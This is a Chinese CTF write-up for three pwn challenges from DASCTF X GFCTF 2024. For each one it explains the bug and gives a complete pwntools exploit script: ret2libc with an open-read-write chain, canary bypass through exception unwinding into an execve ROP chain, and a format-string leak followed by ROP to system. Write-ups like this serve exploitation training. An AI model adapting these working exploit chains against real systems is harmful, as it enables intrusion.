DASCTF X GFCTF 2024|四月开启第一局

前言

题目都比较简单,,,没啥好说的,很久没做题了,简单记录一下

dynamic_but_static

  • 仅仅开了 NX 保护
  • 栈溢出

先泄漏 libc 地址,然后栈溢出打 ret2libc,开了沙箱得 orw

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node5.buuoj.cn", 29271)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")def debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''ret     = 0x000000000040101a # ret
pop_rdi = 0x0000000000401381 # pop rdi ; ret
puts_got = 0x404028
puts_plt = 0x4010D0
read_got = 0x404040#gdb.attach(io, 'b *0x401482')
pay = b'A'*0x38 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(0x401386)
sl(pay)#pause()
libc_base = addr8(6) - libc.sym.read #0x1149c0
info("libc_base", libc_base)o = libc_base + 0x1146d0
r = libc_base + 0x1149c0
w = libc_base + 0x114a60
bss = elf.bss()+0x100
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
magic = libc_base + 0x0000000000149515 # add rdx, 2 ; xor eax, eax ; mov qword ptr [rdi], rdx ; ret
leave_ret = 0x0000000000401349 # leave ; retinfo("bss", bss)
info("o", o)
info("r", r)
info("w", w)
info("rsi", pop_rsi)
info("rdx", pop_rdx)pay = p64(bss-8)*7 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss-8) + p64(pop_rdx) + p64(0x200) + p64(r) + p64(leave_ret)
sl(pay)
#pause()
sleep(1)
pay  = b'./flag\x00\x00' + p64(pop_rdi) + p64(bss-8) + p64(pop_rsi) + p64(0) + p64(o)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss-0x100) + p64(pop_rdx) + p64(0x30) + p64(r)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss-0x100) + p64(pop_rdx) + p64(0x30) + p64(w)
sl(pay)
#pause()
#debug()
sh()

在这里插入图片描述

Control

  • 开了 NX 和 Canary
  • 栈溢出
  • 静态链接,所以考虑 ret2syscall
  • 异常处理绕过 Canary 检查

开始可以往 bss 段上写入 16 字节:
在这里插入图片描述
然后 vuln 函数中白给的栈溢出:
在这里插入图片描述
当读入的字节数大于 96 时会进入异常抛出逻辑,这里可以在 main 函数中发现异常捕获逻辑:
在这里插入图片描述
由于 vuln 函数中存在 Canary 保护,所以直接进行栈溢出 ret2syscall 是不可行的,这里我们可以覆盖 ebp 为 gift-8,这里在进行异常捕获时,会进行栈回退,此时就可以将栈劫持到 gift 上,这时我们可以将 rip 去往 gift 上读取 ROP 链,调试发现进行读取时,rdx = 0,而仅仅就 16 字节,所以 pop rdx 用不了,找了一个 magic gadget,调试发现 qword ptr [rsi - 8] 的值为 0x91,其足够写入 ROP 链了

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node5.buuoj.cn", 26739)
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''pop_rax = 0x0000000000462c27 # pop rax ; ret
pop_rdi = 0x0000000000401c72 # pop rdi ; ret
pop_rsi = 0x0000000000405285 # pop rsi ; ret
pop_rdx = 0x0000000000401aff # pop rdx ; ret
syscall = 0x000000000040161e # syscall
ret     = 0x000000000040101a # ret
magic   = 0x0000000000446200 # mov rdx, qword ptr [rsi - 8] ; mov qword ptr [rdi - 8], rdx ; ret
gift    = 0x00000000004D3350#gdb.attach(io, 'b *0x402194')
sda(b'Gift> ', p64(magic) + p64(0x402221))
sda(b'control?\n', p64(gift-8)*15)
pay = p64(gift+8) + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(gift+0x50) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall) + b'/bin/sh\x00'
sla(b'again', pay)#pause()
#debug()
sh()

在这里插入图片描述

Exception

  • 保护全开
  • 一个堆上的格式化字符串漏洞
  • 给了栈地址,并且存在栈溢出
  • 异常处理

这题相较于上一题还简单一些,栈地址、libc地址、程序基地址和 canary 都算白给了
在这里插入图片描述
这里 name 上可以输入 0x20 的数据,但是由于保护全开,所以一开始也写不了什么有用的 gadget,只能用来泄漏数据了,这里可以泄漏 libc/栈地址/canary/程序基地址,然后 vuln 中就是一个白给的栈溢出,然后直接抛出异常
在这里插入图片描述
但是这里溢出的字节数足够长,所以这里的抛出异常没有任何影响,直接栈溢出打 ret2libc 即可,但是需要注意的是栈上的数据不要破坏,不如栈退回大概率失败,而且这里劫持的是 main 函数的返回地址,不能劫持 vuln 的返回地址是因为如果修改其返回地址,则导致找不到 catch 块从而导致栈回退失败

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'#io = process("./pwn")
io = remote("node5.buuoj.cn", 27800)
elf = ELF("./pwn")
libc = ELF("/pwn/libc.so.6")def debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''#gdb.attach(io, 'b *$rebase(0x1333)')sla(b'your name\n', b'X%11$pYM%15$pNL%7$pL')
rut(b'X')
lbase = int(rut(b'Y'), 16) - 0x24083
#info("lbase", lbase)rut(b'M')
base = int(rut(b'N'), 16) - 0x1360
#info("base", base)rut(b'L')
canary = int(rut(b'L'), 16)
#info("canary", canary)rut(b'stack\n')
stack = int(rut(b'\n'), 16)
#info("stack", stack)pop_rdi = lbase + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = lbase + 0x000000000002601f # pop rsi ; ret
pop_rdx = lbase + 0x0000000000119431 # pop rdx ; pop r12 ; ret
system  = lbase + libc.sym.system
binsh   = lbase + next(libc.search(b'/bin/sh\x00'))
ret     = lbase + 0x0000000000022679 # retpay  = p64(lbase+0x1ed6a0) + p64(base+0x206d) + p64(base+0x4020) + p64(lbase+0x1e94a0)
pay += p64(0) + p64(lbase+0x90e93) + p64(0x18) + p64(lbase+0x1ed6a0) + p64(base+0x206d)
pay += p64(lbase+0x8459a) + p64(base+0x1480) + p64(stack+0xa0) + p64(base+0x1180)
pay += p64(canary) + p64(stack+0xa0)
pay += p64(base+0x1408) + p64(0) + p64(canary) + p64(stack+0x190) + p64(0)*2
pay += p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0)*2 + p64(system)
print(hex(len(pay)))
sda(b'exception?', pay)#pause()
#debug()
sh()
sh()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/1519.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue3+TS版本Uniapp:项目前置操作

作者:前端小王hs 阿里云社区博客专家/清华大学出版社签约作者✍/CSDN百万访问博主/B站千粉前端up主 环境:使用vscode进行开发 如果一开始是使用的HbuilderX,请看hbuilderX创建的uniapp项目转移到vscode 为什么选择vscode?有更好…

Windows进入黑屏,操作CMD提示命令提示符已被系统管理员停用

背景 由于安装或者卸载某些服务导致主机无法正常显示桌面,从控制台进入打开操作执行命令提示禁用。 操作步骤 注意务必做好快照备份后再操作。 打开注册表中将其重新启用: 依次打开“运行”命令,然后在打开的“运行”对话框中输入 “regedit…

一个简单的记工tkinter窗口

代码分享: 导入datetime模块,用于获取当前日期 import datetime as da 导入csv模块,用于读写csv文件 import csv 导入tkinter模块,用于创建窗口和按钮 from tkinter import * 创建主窗口 appTk() 设置窗口大小为1048x2048&#xff0…

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第六套

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第六套 (共9套,有答案和解析,答案非官方,未仔细校正,仅供参考) 部分题目分享,完整版获取(WX:didadidadidida313,加我备注&#x…

【OpenHarmony-NDK技术】简单将cJson移植到OpenHarmony中,并在c层修改参数值再返回json

1、cJson的简单介绍 cJson - github网址 概述 一般使用cJson是,需要将json文本转化为json对象–编码,将json对象转化为json文本–解析。 git clone https://github.com/DaveGamble/cJSON.git 后留意cJSON.h和cJSON.h两个文件。 1、cJson的介绍 cJso…

Golang那些违背直觉的编程陷阱

目录 知识点1:切片拷贝之后都是同一个元素 知识点2:方法集合决定接口实现,类型方法集合是接口方法集合的超集则认定为实现接口,否则未实现接口 切片拷贝之后都是同一个元素 package mainimport ("encoding/json"&quo…

Redis 如何实现分布式锁

课程地址 单机 Redis naive 版 加锁: SETNX ${lockName} ${value} # set if not exist如果不存在则插入成功,返回 1,加锁成功;否则返回 0,加锁失败 解锁: DEL ${lockName}问题1 2 个线程 A、B&#…

前后端交互概念

前后端交互概念 1前后端分离开发概念2搭建后端环境2.1配置文件commomcommon-utilservice-utilmodelservice gitee使用 1前后端分离开发概念 前段:运用html、css、js和现成库,对数据作展示。 后端:运用Java和Java框架,提供数据或操…

立创·实战派ESP32-C3开发板 with lv_micropython

一、lv_micropython对驱动芯片的支持 ESP32-C3开发板的Display drivers:ST7789,Input drivers:FT6336,从LVGL的官方文档了解到lv_micropython包含了这两颗IC的驱动。 参考文档: lv_micropython already contains these drivers: 链接:Micro…

智慧化转型赋能园区创新:科技创新引领产业智慧化,打造高效发展新格局

在全球化和信息化浪潮的推动下,园区作为区域经济发展的重要引擎,正面临着前所未有的机遇与挑战。为应对这些挑战并把握机遇,园区需积极拥抱智慧化转型,通过科技创新引领产业智慧化,打造高效发展的新格局。本文将深入探…

贝叶斯分类 python

贝叶斯分类 python 贝叶斯分类器是一种基于贝叶斯定理的分类方法,常用于文本分类、垃圾邮件过滤等领域。 在Python中,我们可以使用scikit-learn库来实现贝叶斯分类器。 下面是一个使用Gaussian Naive Bayes(高斯朴素贝叶斯)分类器的简单示例&#xff1…

go | defer、panic、recover

刷一道题, 将当函数触发panic 之后,函数是怎么执行的 然后我去找相关博客,发现这篇讲的蛮好的 接下来我直接上demo ,然后通过demo 来逐个分析 package mainimport ("fmt" )func f() {defer func() {if r : recover();…

毕业设计——基于ESP32的智能家居系统(语音识别、APP控制)

ESP32嵌入式单片机实战项目 一、功能演示二、项目介绍1、功能演示2、外设介绍 三、资料获取 一、功能演示 多种控制方式 ① 语音控制 ②APP控制 ③本地按键控制 ESP32嵌入式单片机实战项目演示 二、项目介绍 1、功能演示 这一个基于esp32c3的智能家居控制系统,能实…

websocket 请求头报错 Provisional headers are shown 的解决方法

今日简单总结 websocket 使用过程中遇到的问题&#xff0c;主要从以下三个方面来分享&#xff1a; 1、前端部分 websocket 代码 2、使用 koa.js 实现后端 websocket 服务搭建 3、和后端 java Netty 库对接时遇到连接失败问题 一、前端部分 websocket 代码 <template>…

Spark和Hadoop的安装

实验内容和要求 1&#xff0e;安装Hadoop和Spark 进入Linux系统&#xff0c;完成Hadoop伪分布式模式的安装。完成Hadoop的安装以后&#xff0c;再安装Spark&#xff08;Local模式&#xff09;。 2&#xff0e;HDFS常用操作 使用hadoop用户名登录进入Linux系统&#xff0c;启动…

Flink基础概念及算子

Flink基础概念-算子 一、Flink概述二、Flink集群角色和核心概念1.Flink运行时架构&#xff08;Standealone会话模式&#xff09;2.并行度&#xff08;Parallelism&#xff09;3.算子链&#xff08;Operator Chain&#xff09;4. 任务槽&#xff08;Task Slots&#xff09; 三、…

GO环境及入门案例

文章目录 简介一、win GO开发环境安装二、Linux go运行环境二、GO代码入门2.1 导包案例2.2 赋值2.3 变量、函数2.4 三方库使用 简介 go不是面向对象语言&#xff0c; 其指针、结构体等比较像C&#xff0c;知名的go 开源项目有docker k8s prometheus node-exporter等 一、win …

C语言语法进阶

条件运算符 条件运算符是 C 语言中唯一的一种三目运算符。三目运算符代表有三个操作数&#xff1b;双目 运算符代表有两个操作数&#xff0c;如逻辑与运算符就是双目运算符&#xff1b;单目运算符代表有一个操作数&#xff0c; 如逻辑非运算符就是单目运算符。运算符也称操作符…

arping命令详解

arping – send ARP REQUEST to a neighbour host. arping 是一个在网络中发送 ARP 请求以查找特定 IP 地址对应的 MAC 地址的命令行工具。它的功能类似于 ping 命令&#xff0c;基于ARP协议报文的交互机制&#xff0c;只能测试同一网段或子网的网络主机的连通性。 ARP 是 Add…

软件杯 深度学习实现行人重识别 - python opencv yolo Reid

文章目录 0 前言1 课题背景2 效果展示3 行人检测4 行人重识别5 其他工具6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习的行人重识别算法研究与实现 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c…